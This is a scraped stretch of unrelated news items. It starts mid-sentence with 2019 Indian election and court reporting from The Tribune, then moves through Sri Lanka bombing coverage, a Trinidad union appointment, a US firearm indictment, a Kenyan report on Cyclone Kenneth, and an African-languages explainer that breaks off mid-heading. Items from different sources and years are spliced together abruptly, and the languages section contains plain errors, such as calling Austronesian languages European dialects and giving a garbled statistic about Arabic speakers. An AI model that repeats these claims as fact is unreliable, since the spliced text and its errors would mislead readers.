him, Modi said money sent by the Centre under different schemes, including for providing nutritious food to pregnant women, is being swindled by the Congress government in Madhya Pradesh. This stolen money is being sent to the Tughlaq Road, where the bungalow of a big Congress leader is located, and from there it is routed to the place of naamdar (apparently referring to Gandhi) for funding his electioneering, Modi said. Talking about the Congress rule in the state, he said the Kamal Nath government has resorted to power cuts in the name of halving electricity bills of consumers. This is an example of how they function, he said, warning people not to vote for the Congress in the Lok Sabha polls. Modi said money disbursed by the Central government for farmers in Madhya Pradesh under its schemes was yet to reach the beneficiaries. He accused the Nath dispensation of not sharing with the Centre the list of farmers requiring the help. Taking a jibe at the MP Chief Minister, Modi said perhaps Nath was too busy to share the list with the Centre due to his Switzerland visit and political grooming of his son (who is contesting Lok Sabha election). He criticised the Congress for the way it had dealt with the issue of terrorism while in power and remarked that the approach to tackle the menace has changed under the NDA government. The present government wont spare any terrorist and will hit them by entering in their den, the PM said. Modi said he alone will not be able to root out the menace of terrorism and sought peoples support by way of their votes to accomplish the task. He asked the people who from among the Opposition wanting to become the PM can wipe out terrorism. When they chanted his name in response, Modi said it is not him but their one vote that would help wipe out terrorism. Modi said Karnataka Chief Minister H D Kumaraswamy had insulted soldiers with his reported remark that only those who cannot manage two square meals a day seek jobs in armed forces. He took pot-shots at those from the Opposition parties aspiring to become the next prime minister. They have already ordered their tailors for new attires, he added. Madhya Pradesh, which has 29 Lok Sabha seats, will have a four-phase polling starting from April 29. PTI ROBINSINGH@TRIBUNE.COM New Delhi, April 25 A military tribunal today gave three weeks to the Defence Ministry to decide on a petition by Vice Admiral Bimal Verma, challenging the appointment of Vice Admiral Karambir Singh as the next Navy Chief overlooking his seniority. Vice Admiral Verma, the senior-most naval commander, on Tuesday once again moved the Armed Forces Tribunal (AFT) here challenging appointment of Vice Admiral Singh to the top post after the Defence Ministry did not respond to his statutory complaint filed on April 10. Verma, commander-in-chief of the Andaman and Nicobar Command, approached the AFT on April 8, but withdrew his petition the next day after the tribunal asked him to first explore internal remedies. The AFT has directed the government to dispose of Vice Admiral Vermas petition by May 15 and fixed May 20 as the next date of hearing, Vermas lawyer Ankur Chhibber said. He said though the government sought four weeks time, the tribunal granted only three weeks to it. Verma, the senior most naval commander, is contesting appointment of his junior Vice Admiral Singh to the top post. In his petition, Verma wondered why he was overlooked for the top post despite being the senior-most in the line of command, terming as wrongful the governments decision to appoint Singh to the post. The government had last month named Singh as the next Chief of Naval Staff, to succeed Admiral Sunil Lanba who retires on May 30. The government made the selection following a merit-based approach and did not go with the tradition of appointing the senior-most eligible officer to the post. Verma, senior to Singh, was among the contenders for the top post. Besides Verma, the other contenders for the Navy Chief post included Vice Chief of Naval Staff Vice Admiral G Ashok Kumar, FOC-in-C of Western Naval Command Vice Admiral Ajit Kumar and FOC-in-C of Southern Naval Command Vice Admiral Anil Kumar Chawla. PTI uttara@tribuneindia.com Tribune News Service New Delhi, April 26 The Enforcement Directorate (ED) has claimed that auctions of a dozen luxury vehicles owned by fugitive Punjab National Bank (PNB) scam accused businessmen Nirav Modi and Mehul Choksi have fetched Rs. 3.29 crore to the government exchequer. While giving details of the auctions, the Enforcement Directorate in a statement said the cars were attached by the agency under the Prevention of Money Laundering Act (PMLA) in the past and had in March obtained the permission from a special court in Mumbai for auctioning 13 vehicles owned by the Modi-Choksi as part of its investigation into money laundering cases relating to US$ 2 billion alleged bank loan fraud. The agency informed that Metal Scrap Trade Corporation (MSTC) Ltd was assigned to carry out the e-auction exercise. There are 13 vehicles (11 belonging to Nirav Modi group and 2 belonging to Mehul Choksi group) put on e-auction through MSTC platform on April 25. Out of these 13 vehicles, twelve (10 of Nirav Modi group and 2 of Mehul Choksi group) were successfully bided for a total amount of Rs 3,28,94,293, the ED said in the statement. Last month the Income Tax (IT) Department too had auctioned several art works that were owned by alleged bank fraud accused Nirav Modi for Rs 59.37 crore. The ED and the CBI are investigating Nirav Modi, his uncle Choksi and others for alleged money laundering and corruption to perpetrate the alleged scam in the Brady House branch of the PNB in Mumbai that was unearthed last year. As per the information available with the agencies, Nirav Modi has been arrested in London recently and India is seeking his extradition, while Choksi is learnt to have been living in the Caribbean nation of Antigua and the officials said a similar legal action against him is also in progress. ROBINSINGH@TRIBUNE.COM Neeraj Bagga Tribune News Service Amritsar, April 25 Hardeep Singh Puri, Union Minister of State for Housing and Urban Affairs (Independent charge), has asserted to be the voice of residents of the border city in Parliament and pride of turban in the world. He will file his nomination papers tomorrow. Talking to mediapersons here today during his maiden visit to the holy city after being named BJP candidate for the Amritsar Lok Sabha seat, he said he had fought for the pride of the turban during a search by security officials at the Houston Airport in the US in 2010. I was posted as permanent Ambassador in New York. I had got the extensive opportunity to interact with Sikh diaspora during my posting as Ambassador in London and New York and understood their love and emotions towards Punjab in general and the city of the Golden Temple in particular. Flanked by former Local Bodies Minister Anil Joshi and Rajinder Mohan Singh Chhina, who had also staked claim for Amritsar ticket, Puri said though he had adopted Mudhal village after staying couple of nights with one of its Dalit families in April, 2018, following directions from Prime Minister Narendra Modi, but never imagined that the party would select him to serve the holy city. Refuting the Opposition claims of being an outsider, he said he personally oversaw development works of the adopted village. He said his ministry was instrumental in releasing Rs 1,500 crore for Amritsar in capacity of Smart City project and Rs 70 crore under the HRIDAY. So he had the opportunity to minutely observe its future course of development. Puri said he would come out with a vision document soon. He elaborated that this document would include the border districts overall growth like measures to prolong the stay of tourists, reducing pollution, de-congest roads, planned urbanisation and many more issues. His wife Lakshmi Puri, also a career diplomat, accompanied him during the visit. She is of Maharashtrian origin who had served as IFS officer for nearly three decades before joining the UN as Permanent Secretary of the Union Government. Local BJP leaders and close associates of Puri have already opened a political office and hired a house for their stay. ROBINSINGH@TRIBUNE.COM Satya Prakash Tribune News Service New Delhi, April 25 The Supreme Court on Thursday appointed former apex court judge AK Patnaik to probe into an alleged conspiracy to force Chief Justice of India Ranjan Gogoi to resign by implicating him in a false sexual harassment case. Justice Gogoi had said some bigger force wanted to deactivate the office of the CJI. A Special Bench of Justices Arun Mishra, Rohinton F Nariman and Deepak Gupta ordered the CBI Director, Intelligence Bureau Director and Delhi Police Commissioner to extend assistance to Justice Patnaik as and when required. However, it left it to the one-man panel to take assistance of people required to complete the probe. The Bench ordered advocate Utsav Bains who had claimed that there was a conspiracy to force the CJI to resign and that he was offered a bribe of Rs 1.5 crore to submit all the material he had to Justice Patnaik. On the completion of probe, Justice Patnaik will file a sealed cover report before the court, said the Bench, which had on Wednesday asserted that it would take the matter to its logical conclusion. The Bench made it clear that this probe will not have any bearing on the ongoing in-house inquiry. The court also rejected Bains claim of privilege over certain information under the Indian Evidence Act, 1872. Upholding the contention of Attorney General KK Venugopal and SCBA president Rakesh Khanna, the Bench made it clear to Bains that he might have to disclose information. Noting that there was a systematic attack and systematic game to malign the institution, the Bench asserted that the rich and powerful cant run the Supreme Court. About Justice Patnaik Justice AK Patnaik, who served as the top court judge between November 17, 2009 and June 2, 2014 was earlier appointed by a Bench headed by CJI Ranjan Gogoi to look into allegations against then CBI Director Alok Verma Probe Panel recast New Delhi: The in-house inquiry into allegations of sexual harassment against CJI Ranjan Gogoi hit a hurdle with Justice NV Ramana opting out of three-member panel and Justice Indu Malhotra taking his place. editorial@tribune.com Jupinderjit Singh Tribune News Service Chandigarh, April 25 Aam Aadmi Partys rebel MLA Nazar Singh Manshahia of Mansa today joined the Congress, dealing a blow to the Sukhpal Khaira-led Punjabi Ekta Party. AAP now fears losing more MLAs to other parties as well as the status of being the principal Opposition in the state Assembly. Khaira too formally resigned from the AAP and the Assembly today, months after he formed his own group, Punjabi Ekta Party. Manshahia along with four other AAP MLAs had supported Khaira, but had not resigned from the AAP. The immediate impact of his defection would be on Bathinda Lok Sabha seat, where his Assembly seat falls. It also challenges political fortunes of Khaira, who is contesting from Bathinda as Punjab Democratic Alliance candidate. Kanwar Sandhu, rebel AAP MLA who is supporting the Khaira group, said this happened because AAP had not learnt lessons and the third front (Khaira group) would also be weakened. Meanwhile, there is speculation that three other AAP MLAs may also join the Congress as they were not happy with the party in the state. Manshahia joined the Congress in the presence of Chief Minister Capt Amarinder Singh in Chandigarh today. Talking to The Tribune, Manshahia said he was disillusioned with the AAP leadership and was also not having common political mission with the Khaira group. I was not campaigning for last few weeks for anyone as I had some differences with the third front, which I dont want to discuss at this juncture, Manshahia insisted. He said Mansa voters had urged him to join the Congress. The development affects the number game in the state Assembly. With Khaira also resigning and Dakha AAP MLA HS Phoolkas resignation pending with the Speaker for approval, AAP fears losing the Leader of Opposition position as the SAD-BJP combine too has an equal number of 17 MLAs. Another AAP rebel MLA Master Baldev Singh is contesting elections from Faridkot, but he is yet to resign from AAP. Leader of Opposition Harpal Cheema and state convener Bhagwant Mann said leaders like Manshahia claimed to have joined politics on a mission, but they had other motives. Capt Amarinder said the Congress would be strengthened by the joining of Manshahia. It is a clear sign of complete disillusionment within AAP, which has lost its locus standi amid the rebellion. PEP shocked, SAD dubs it fixed match Bathinda: Punjabi Ekta Party chief Sukhpal Khaira said he was extremely shocked and saddened to hear about the sudden defection by Manshahia whom he always held in high esteem. In a statement issued here, he said he could never think of Manshahia defecting in the middle of an election and that too without any valid reason. Khaira said the move would only bring disrepute and shatter the confidence of people in politicians. He blamed Capt Amarinder for this crafty defection. He said Capt Amarinder had turned out to be "Bhajan Lal of Punjab" who was still shaky despite having a majority in the state Assembly. On the other hand, addressing a press conference here, former SAD minister Bikram Singh Majithia alleged that the ruling Congress and PEP were playing a fixed match. He alleged that Khaira broke away from AAP at the instance of the ruling party. He alleged that Khairas resignation from the state Assembly and Manshahia joining the Congress on the same day clearly hints towards the connivance between the two parties. TNS editorial@tribune.com Perneet Singh Tribune News Service Bathinda, April 25 Vowing to rid the state of the Badals by defeating the SADs power couple in the Lok Sabha polls, Chief Minister Capt Amarinder Singh today said the people of Bathinda would punish two-time MP Harsimrat Kaur for her arrogance, sacrilege cases and betrayal of Punjab while being a Union minister. The Chief Minster today accompanied party candidate Amrinder Singh Raja Warring to the DC office for filing his nomination papers. He said, Harsimrat has betrayed Punjab and its people by her failure to support the state in its various confrontations against the Centre. Confident of accomplishing his Mission 13 in Punjab, the CM said the people of the state havent forgotten Bargari or Kotkapura, which was a brazen attempt by the Badals to create communal tension in the state. He said he had planned to spend two days in Bathinda and two in Ferozepur to campaign against the Badal couple. He said he would expose their lies on drugs and other issues. On Partap Bajwas remark against the move to pin responsibility for electoral performance on ministers and party MLAs, Capt Amarinder said, while the victory or defeat was the responsibility of the entire party, senior leaders had to be held more accountable. He warned that senior leaders found trying to sabotage the prospects of any candidate would have to face consequences. monicakchauhan@gmail.com Tribune News Service Amritsar, April 26 SAD president Sukhbir Singh Badal and his wife Harsimrat Kaur Badal on Friday paid obeisance at the Golden temple before heading to their respective parliamentary constituencies to file their nomination papers. Talking to media persons, Badal said looking at the prevailing situation, a surprise result would be in offing. He claimed that Parneet Kaur would lose the Patiala parliamentary seat. Thus, as its fallout Capt Amarinder Singh will have to tender resignation. Heading to file nomination papers from the Ferozepur Parliamentary seat, he asserted that he would have maximum lead from the Fazilka assembly constituency, which Jakhar used to represent once. He stated that Sunny Deol would dislodge Jakhar from Gurdaspur. He said it was a fortunate move to field an intellectual like Hardeep Singh Puri who had already held high positions, from the Guru Nagri. pardeepdhull@gmail.com Tribune News Service Chandigarh, April 26 The Centre has accepted Punjab Chief Minister Captain Amarinder Singhs request for relaxation in wheat norms for procurement in the current season, on account of loss due to unseasonal rain. The Chief Minister had earlier this week written to Prime Minister Narendra Modi, urging him to ease the norms for procurement of wheat in view of the losses incurred by farmers due to the unseasonal rain. Responding to the request, the central government has decided to procure wheat in the state with relaxation on provisional basis in the uniform specifications of the crop during the rabi marketing season 2019-20. The relaxation comes into immediate effect and will remain till the final analysis report of a joint team is received. Disclosing this here, a spokesperson of the Food and Civil Supplies Department said that the Ministry of Consumer Affairs Food & Public Distribution, GoI, had conveyed its decision to the State Food and Civil Supplies Department. It had been decided by the Centre to allow purchase of lustre lost wheat containing up to 10 per cent kernels without any value cut. The Ministry has also allowed percentage relaxation in lustre lost wheat on district-wise basis by allowing percentage of relaxation up to 50% in the districts of Bathinda, Faridkot, Mukhtsar and Ferozepur, while relaxation percentage up to 75 per cent has been allowed in the Fazilka and Hoshiarpur districts. Lustre lost wheat containing more than 10 per cent and up to 75 per cent affected kernels may be purchased with 1/4th of one value cut on flat basis. The wheat so procured would be stacked and accounted for separately. Wheat stocks procured under relaxed specification would be liquidated on overriding priority basis, according to the spokesperson. editorial@tribune.com Ravi Dhaliwal Tribune News Service Gurdaspur, April 25 The decision of government schoolteachers to resume protest against the Congress government is likely to pose a challenge for partys Gurdaspur candidate Sunil Jakhar. There are nearly 10,000 teachers in this parliamentary constituency. With BJP fielding Bollywood star Sunny Deol from the constituency, the sitting MP is pulling out all stops to ensure the issue doesnt harm his campaign. The teachers have already announced to hold a protest in the city on May 5. A Cabinet minister said, All seven sitting MLAs have been asked to cooperate with the teaching community in their respective segments. We cannot afford to lose their votes. The MP has taken a round of each of the nine Assembly segments and has listened to the teachers grievances. Jakhar says he has already spoken to union leaders and has assured them that the government is looking into all their problems. I have met two delegations of unionists and given them assurance. They will never go against me, he claimed. Amarjit Shastri, president, Teachers Democratic Front, Punjab, said, We had protested throughout last year, urging the government to revoke the decision to slash our wages from Rs 42,500 to Rs 15,300. This resentment will now come out in the open against the government. We have decided to hold a rally on May 5 in Gurdaspur. editorial@tribune.com Ropar, April 25 The carrot-and-stick policy of Chief Minister Capt Amarinder Singh to rein in factionalism in the party has started showing results, at least in Ropar district. Speaker Rana KP Singh, who represents the Anandpur Sahib segment, and district Congress Committee president Brinder Singh Dhillon held a press conference at Congress Bhawan here today. Three former district presidents Sukhvinder Singh Whiskey, Amarjit Singh Saini and Vijay Kumar Tinku were also present. Both KP Singh and Dhillon have been at loggerheads since the latter was fielded as party candidate from the Ropar constituency in 2017. They have been holding separate roadshows and public meetings since party candidate from Anandpur Sahib constituency Manish Tewari started his campaign on April 15. Following reports of differences among party leaders, the CM yesterday warned ministers that they could lose Cabinet berths and MLAs might be denied the party ticket for the next Assembly polls, if they fail to ensure partys victory in all 13 constituencies. Earlier on April 17, to counter any adverse impact of infighting on the Congress poll prospects, the Chief Minister had asked MLAs and district unit heads that they would be responsible for mobilising support in favour of official party candidate in their respective parliamentary constituencies. During the conference, both leaders came together in favour of the party candidate after the diktat issued by the CM in this regard. TNS editorial@tribune.com Sanjeev Singh Bariana & Deepkamal Kaur Tribune News Service Chandigarh/Jalandhar, April 25 Disgruntled over the BJP denying him ticket to the forthcoming parliamentary elections from the Hoshiarpur constituency, Minister for Social Justice and Empowerment Vijay Sampla will meet his team workers in Hoshiarpur tomorrow to decide upon his future course of action. Sampla, who has been in the National Capital since Tuesday when the party chose to nominate Phagwara MLA Som Parkash instead of him, had switched off his mobile phone. Responding to a call today, Sampla said, I will return to Hoshiarpur tomorrow. My workers want to meet me and express their feelings over the current political scenario. I will go by whatever suggestions they give to me. He did not specify what it could be. Asked who all he had met in Delhi, he said, I have neither talked to anyone nor has anyone approached me. I deliberately also kept my phone off. I even do not know if anyone was trying to contact me. After the Bahut dukh hua BJP ne gau hatya kar di comment, Sampla has gone incommunicado with his party leadership. Senior leaders are learnt to be trying different sources to reach out to the leader. However, he has chosen to maintain silence on the issue. Whatever I had to say, I wrote that day. I do not have any regret about it. I still stand by it or else I would have erased it. I really want to know as to for what reason the party has acted against me. Ticket is the partys prerogative. No one can force them to change their decision. But if the party was to take such a harsh decision, they could have given me a graceful exit after telling me my mistake, he said. BJP sacrificed Sampla for an outsider: Arora Jalandhar: AAP Sunam MLA Aman Arora on Thursday said by denying ticket to Sampla, Narendra Modi and Amit Shah had committed gau hatya (cow slaughter). Sampla comes from a moderate family. The party made him MP, minister and party chief. Sacrificing him at this time only indicates Modi and Shah are giving precedence to stars and outsiders to sideline him, he said. vinaymishra188@gmail.com Ruchika M Khanna Tribune News Service Chandigarh, April 25 From a party of jathedars to a party of kakajis, the demographic transformation of Shiromani Akali Dal is complete, as it readies to take a plunge into the May 19 electoral battle. Having hit its lowest ebb last year, following a rebellion by senior leaders, the partys reins now lie in the hands of young guns. After senior Taksali leaders, including Ranjit Singh Brahmpura and Sukhdev Singh Dhindsa, owing allegiance to patriarch Parkash Singh Badal, left the party and challenged the leadership of Sukhbir Singh Badal, it seemed the party would go into political oblivion. But by carefully strategising the old and new order in the months that followed, SAD seems back on track. With the old leadership gone, it is now the GenNext Akali Dal that is steering the party. However, the top leaders have clung on to some of the old bearings. It is both a good political strategy as well as an attempt to disprove of the charges levelled by rebel Taksali leaders about Sukhbirs acumen as a leader, that the party has fielded its old guard on six of the 10 seats it is contesting for the Lok Sabha. Even as GenNext is in the drivers seat, they are again banking on old Panthic issues of regionalism and federalism to woo voters. As of now, it seems, the party is back in the race. With AAP being politically decimated post its split and SAD (Taksali) having failed to take off across the state, Akali Dal sees a chance in this election of once again becoming the principal Opposition party. That said, the ghost of sacrilege cases of 2015 appears to be hounding the party even now in at least two constituencies of Malwa (Faridkot and Bathinda) and one of Majha (Khadoor Sahib). It is to offset this damage that the party has fielded its top guns in the electoral field. If the partys first couple Sukhbir Singh Badal and Harsimrat Kaur Badal win, besides claiming a few other seats, they will be well placed for the next Assembly poll in three years. Its a do-or-die battle for both the party and its leaders. harinder@tribunemail.com THE movement for total prohibition has gained in strength everywhere since the banishing of alcohol by the United States of America from its boundaries. The enormous sacrifice made by the United States in declaring all her States dry would be readily understood when it is said that nearly a quarter of her total revenue came from the alcohol industry. In the last normal year the industry yielded to the United States Government about 56,000,000 and under war conditions it yielded nearly 160,000,000. The alcohol business, as nearly as can be estimated, contributed 20,000,000 more to the State, country and city incomes, and supported more than 100,000 workers of all kinds, while its ramifications and allied interests ran into incalculable figures. The example set by the US has inspired other countries too. New Zealand is moving towards prohibition. Total prohibition means a great uphill work against vested interests. vinaymishra188@gmail.com Kuala Lumpur: A vegan cafe in Australia that charged men an 18 per cent premium to reflect the gender pay gap with the funds given to charity is to close, its owners said on Thursday. Soon after opening its doors in August 2017, Handsome Her in Melbourne caused an online and media storm when a photograph of a chalkboard outside the cafe explaining its voluntary man tax and women priority seating hit Twitter. reuters NASA records likely marsquake for the first time Washington: NASAs robotic Mars InSight lander has recorded a likely marsquake for the first time ever, the US space agency said. The faint seismic signal, detected by the landers Seismic Experiment for Interior Structure (SEIS) instrument, was recorded on April 6, the landers 128th Martian day. PTI Cyclone Kenneth batters Comoros, heads to Mozambique Moroni: Violent winds of up to 140 kph lashed the East African island nation of Comoros overnight, killing three people, authorities said on Thursday, as tropical Cyclone Kenneth swept towards flood-battered Mozambique and southern Tanzania. The region was pounded by Cyclone Idai last month; the storm and subsequent flooding killed more than 1,000 people in Mozambique, Zimbabwe and Malawi. Kenneth may bring winds of up to 200 kph and torrential rain to Mozambique, Tanzania and Comoros, the United Nations Office for Disaster Risk Reduction said on Twitter on Thursday. reuters rchopra@tribunemail.com San Francisco, April 26 Facebook on Thursday filed a lawsuit in a US federal court to bar a New Zealand company from selling fake likes, views and followers to Instagram users. The company and three people targeted in the lawsuit operated a service to raise the profile of Instagram accounts by bolstering them with bogus followers, views and likes, Facebook director of platform enforcement and litigation Jessica Romero said in a blog post. By filing the lawsuit, we are sending a message that this kind of fraudulent activity is not tolerated on our services, and we will act to protect the integrity of our platform, Romero said. Romero did not identify the company or the individuals names in the legal complaint, which accused them of using fake businesses and websites to sell engagement services to Instagram users looking to buy status. Such activity violates terms of service at Facebook-owned Instagram. We previously suspended accounts associated with the defendants and formally warned them in writing that they were in violation of our terms of use; however, their activity persisted, Romero said. She described the lawsuit as part of an ongoing effort to prevent fraudulent activity at its family of services, which includes photo- and video-sharing social network Instagram. Facebook and other online social platforms have been under pressure to prevent deception and misinformation. AFP vinaymishra188@gmail.com Washington, April 25 A French warship passed through the strategic Taiwan Strait this month, US officials told Reuters, a rare voyage by a vessel of a European country that is likely to be welcomed by Washington but increase tension with Beijing. The passage, which was confirmed by China, is a sign that US allies are increasingly asserting freedom of navigation in international waterways near China. It could open the door for other allies, such as Japan and Australia, to consider similar operations. The French operation comes amid increasing tensions between the United States and China. Taiwan is one of a growing number of flashpoints in the US-China relationship, which also include a trade war, US sanctions and Chinas increasingly muscular military posture in the South China Sea, where the United States also conducts freedom of navigation patrols. Two officials, speaking on condition of anonymity, said a French military vessel carried out the transit in Reuters rchopra@tribunemail.com Sydney, April 26 Muslims in Sri Lanka were urged to pray at home on Friday and not attend mosques or churches after the State Intelligence Services warned of possible car bomb attacks, amid fears of retaliatory violence for the Easter Sunday bombings. The US embassy in Sri Lanka also urged its citizens to avoid places of worship over the coming weekend after authorities reported there could be more attacks targeting religious centres. Sri Lanka remains on edge after suicide bombing attacks on three churches and four hotels that killed 253 people and wounded about 500. The attacks have been claimed by the extremist Islamic State group. Nearly 10,000 soldiers are being deployed across the Indian Ocean island state to carry out searches and provide security for religious centres, the military said on Friday. Fears of retaliatory sectarian violence has already caused Muslim communities flee their homes amid bomb scares, lockdowns and security sweeps. The All Ceylon Jamiyathul Ullama, Sri Lankas main Islamic religious body, urged Muslims to conduct prayers at home on Friday in case there is a need to protect family and properties. Cardinal Malcolm Ranjith also appealed to priests not to conduct mass at churches until further notice. Security is important, he said. Police have detained at least 76 people, including foreigners from Syria and Egypt, in their investigations so far. Islamic State provided no evidence to back its claim that it was behind the attacks. If true, it would be one of the worst attacks carried out by the group outside Iraq and Syria. Islamic State released a video on Tuesday showing eight men, all but one with their faces covered, standing under a black Islamic State flag and declaring their loyalty to its leader, Abu Bakr Al-Baghdadi. The Sri Lankan government said there were nine homegrown, well-educated suicide bombers, eight of whom had been identified. One was a woman. Authorities have focused their investigations on international links to two domestic Islamist groups--National Thawheed Jamaut and Jammiyathul Millathu Ibrahim--they believe carried out the attacks. Government officials have acknowledged a major lapse in not widely sharing an intelligence warning from India before the attacks. Defence Secretary Hemasiri Fernando resigned over the failure to prevent the attacks. The Easter Sunday bombings shattered the relative calm that had existed in Buddhist-majority Sri Lanka since a civil war against mostly Hindu ethnic Tamil separatists ended 10 years ago. Sri Lankas 22 million people include minority Christians, Muslims and Hindus. Until now, Christians had largely managed to avoid the worst of the islands conflict and communal tensions. Most of the victims were Sri Lankans, although authorities said at least 38 foreigners were also killed, many of them tourists sitting down to breakfast at top-end hotels when the bombers struck. They included British, US, Australian, Turkish, Indian, Chinese, Danish, Dutch and Portuguese nationals. Britain warned its nationals on Thursday to avoid Sri Lanka unless it was absolutely necessary because there could be more attacks. Reuters pardeepdhull@gmail.com Colombo, April 26 The Sri Lankan police which wrongly identified an American Muslim woman as a suspect in the deadly bombings on Easter Sunday has apologised for the goof-up, according to media reports on Friday. The police on Thursday issued a flyer with the names and photos of six personsthree men and three womenwanted in connection with the attacks that killed 253 people. On the flyer, a photograph of Amara Majeed was put wrongly by Sri Lankan authorities, identifying her as a suspect linked to the bloodshed. The name attached to the picture was Abdul Cader Fathima Khadiya - but the picture was of Baltimore-born Majeed, whose parents are from Sri Lanka. I have this morning been FALSELY identified by the Sri Lankan government as one of the ISIS Easter attackers in Sri Lanka, she tweeted. What a thing to wake up to! Around 253 people died and hundreds were injured in the Sri Lanka attacks, where suicide bombers struck three hotels and three churches. This is obviously completely false and frankly, considering that our communities are already greatly afflicted with issues of surveillance, I dont need more false accusations and scrutiny, Majeed wrote on Twitter. Please stop implicating and associating me with these horrific attacks, Majeed urged. And next time, be more diligent about releasing such information that has the potential to deeply violate someones family and community. Sri Lankan police confirmed the error in a statement, saying the individual pictured is not wanted for questioning. Nine persons are suspected of carrying out the deadly attacks, and dozens have been arrested. The authorities blamed a local Islamist extremist group, National Thowheed Jamath (NTJ), soon after the blasts but said the bombers must have had outside help. The Islamic State group said it was behind the attacks but provided no evidence of direct involvement. PTI Senior Water and Sewerage Authority (WASA) manager Leroy Baptiste will replace Watson Duke as president of the Public Services Association (PSA), effective January 1, 2022. The decision came during a meeting of the PSA Conference of Delegates yesterday morning. In a notice to members following the meeting, the PSA said Baptiste was appointed by majority vote. ALBANY, N.Y. Dyshawn Fisher, 24, of Troy, was arraigned on a charge of unlawful possession of a firearm as a felon. The announcement was made by United States Attorney Grant C. Jaquith and James N. Hendricks, Special Agent in Charge of the Albany Field Office of the Federal Bureau of Investigation (FBI). The indictment alleges that on June 26, 2018, Fisher, a felon, was in possession of a .38 caliber revolver. The charges in the indictment are merely accusations. The defendant is presumed innocent unless and until proven guilty. Fisher appeared before United States Magistrate Judge Christian F. Hummel, who ordered him detained pending further proceedings. If convicted, Fisher faces up to 10 years in prison, a term of post-release supervision of up to three years, and a fine of up to $250,000. A defendants sentence is imposed by a judge based on the particular statute the defendant is charged with violating, the U.S. Sentencing Guidelines, and other factors. This case is being investigated by the FBI and its Capital District Safe Streets Gang Task Force, which includes FBI Special Agents and members of federal, state and local law enforcement agencies, including the Troy Police Department. The case is being prosecuted by Assistant U.S. Attorneys Ashlyn Miranda and Alicia Suarez. - The cyclone dubbed Kenneth will not affect Kenya as a whole according the met department - The weatherman assured the cyclone cannot affect areas where the equator has crossed - Cyclone Kenneth is expected to hit Mozambique, Malawi and parts of Tanzania - There were growing concerns the cyclone would find its way into Kenya Kenya Meteorological department has assured Kenyans the much anticipated and dreaded cyclone Kenneth would not affect the country. Weather experts and the United Nations (UN) had on Wednesday, April 24, issued a warning that a strengthening tropical cyclone north-west of Madagascar was fast headed to Tanzania. READ ALSO: Ruto to receive KSh 19.2M from cereals board after EACC approves his maize supply Tanzanian Meteorological Agency (TMA) also issued a warning on the same, adding the cyclone dubbed Kenneth would be characterised by winds travelling up to 80 kilometres per hour and had the capability to cause extensive damage. The agency estimated that Tanzania's southern towns including Mtwara and Lindi would be the most affected by the looming cyclone. READ ALSO: Watchman turns down house offer from boss of 25 years, asks for borehole in village Following the alert, there was a growing concern on whether or not the cyclone would also affect Kenya, especially because the two countries were neighbours. However, in a statement seen by TUKO.co.ke, the Met department clarified not only is a cyclone phenomenon in Kenya unlikely, but it was also geographically impossible because the Equator passed through the country. Met department assures Kenyan Coast wont be affected by Cyclone expected to hit Tanzania, Mozambique. Photo: Kenya Met Source: UGC READ ALSO: Blow to Uhuru's Huduma Namba programme as Parliament blocks company providing technology It is false that cyclone Kenneth will hit the Kenyan Coast. By the laws of physics, Cyclones cannot come this close to the equator. Landfall will be northern Mozambique as shown in the satellite image, the statement read. When Kenneth hits, several areas including major regions in Malawi are expected to experience increased rainfall. The UN's office for the Coordination of Humanitarian Affairs (OCHA) estimated about 700,000 people in Mozambique and Malawi are living in cyclone paths. Cyclones tend to come with massive flooding which can cause great destruction. Photo: Getty Source: UGC READ ALSO: Huduma Number registration deadline and consequences A similar phenomenon took place in March 2019 in Mozambique which resulted in massive flooding, causing deaths of hundreds. In Kenya, regions expected to experience enhanced rainfall courtesy of the cyclone include parts of Kenya (Western, Samburu, Isiolo, Nairobi and others). Do you have an inspirational story you would like us to publish? Please reach us through news@tuko.co.ke or WhatsApp: 0732482690. Follow us on Telegram: Tuko news Kenyans Angry after Uhuru and Raila go to China for new loan: Source: Tuko Africa is a large continent with numerous countries endowed with vast natural resources, wildlife, and people. Other than its large size and the fantastic scenery of wildlife and tourist attraction sites, the continent is home to diverse groups and communities who lead different cultures and speak various languages. The different languages spoken in Africa are characteristically unique in every culture and are usually for social, economic and political purposes. Image: languagephrases.com Source: UGC With cultural diversity arises different dialects that people use to communicate and interact on various aspects. Cumulatively, the continent has about 3,000 languages with some countries like Nigeria contributing about 500 languages. To traverse through the continent, one must have a good grasp of both local and cross-border dialects that facilitate communication with locals. For instance, to get a proper tour of East Africa, a guest must understand Swahili or get a translator who is well versed in the language. This also applies to most of the African countries and their blocs. Here is everything you need to know about the languages spoken in Africa. Language groups in Africa Languages in the continent are divided into six blocs or families. These language families spread across different countries with some as the primary and others as secondary dialects. They include: Afro-Asiatic languages: They are distributed across the northern parts to the horn of Africa. This is the largest block containing some of the most spoken dialects across the continent namely, Arabic, Berber, Somali, Hausa, Tamazight, and Oromo. Austronesian languages: This language group comprise of European dialects that originated outside Africa. Both before and after their independence most African countries embraced Indo-European dialects such as English, Afrikaans, Portuguese and French. Indo-European languages: Majorly distributed in Namibia and South-Africa, as well as former French, English, Italian, Belgian, Spanish colonies. Niger-Congo languages: Comprising of non-Bantus and Bantu, and are distributed in southern, west, central and southeast Africa. Nilo-Saharan languages: Distributed from Chad to Mali, and from Tanzania to Sudan. Cross border-languages Other than the specific language groups, there are others that facilitate communication across different interethnic groups. While these dialects are the most famous, they are not associated with any particular community. They include Amharic, Oromo, Somali, Arabic, Igbo, Berber, Hausa, Swahili, Fulani, Manding and Yoruba. These languages have the highest number of speakers running up to millions. A key characteristic is that the 12 dialect clusters are articulated by 75% of the people in the continent both as an additional or first dialect. During the colonial era, the continent was divided into portions following the declaration at the Berlin conference. However, some boundaries struck through some communities speaking the same languages leading to the emergence of cross-border dialects. The most famous cross border dialect is Berber and is also comparatively one of the oldest African languages in the northern region. Other dialects include Swahili, Somali, Luo, and Fula. Interestingly, these cross-border dialects have by far been the pillar behind the African unity and cooperation. READ ALSO: English speaking countries in Africa Demographics According to the 2009 Africa statistics, there are one billion Africans. Of these population, Arabic is the largest with 17 per cent, followed by Swahili at 10 percent. About five percent of the Lingua Franca of South Africa speak Arabic, and another five percent speak Hausa. In the western belt, the most spoken dialects are the Fula, Yoruba, and Igbo while in the horn of Africa, Somali, Oromo and Amharic are the most used dialects. In the southern part of the continent, Afrikaans, Xhosa, and Zulu are the most spoken dialects. Other important languages are Portuguese, French and English. They are spoken by 30 million, 115 million, and 130 million people respectively, either as their secondary or native dialects while both Mozambique and Angola have Portuguese as their national dialects. Moreover, these languages are gaining more fame as the largest cross-boundary languages that foster communication and cooperation towards trade, research, political stability and development. List of languages spoken in 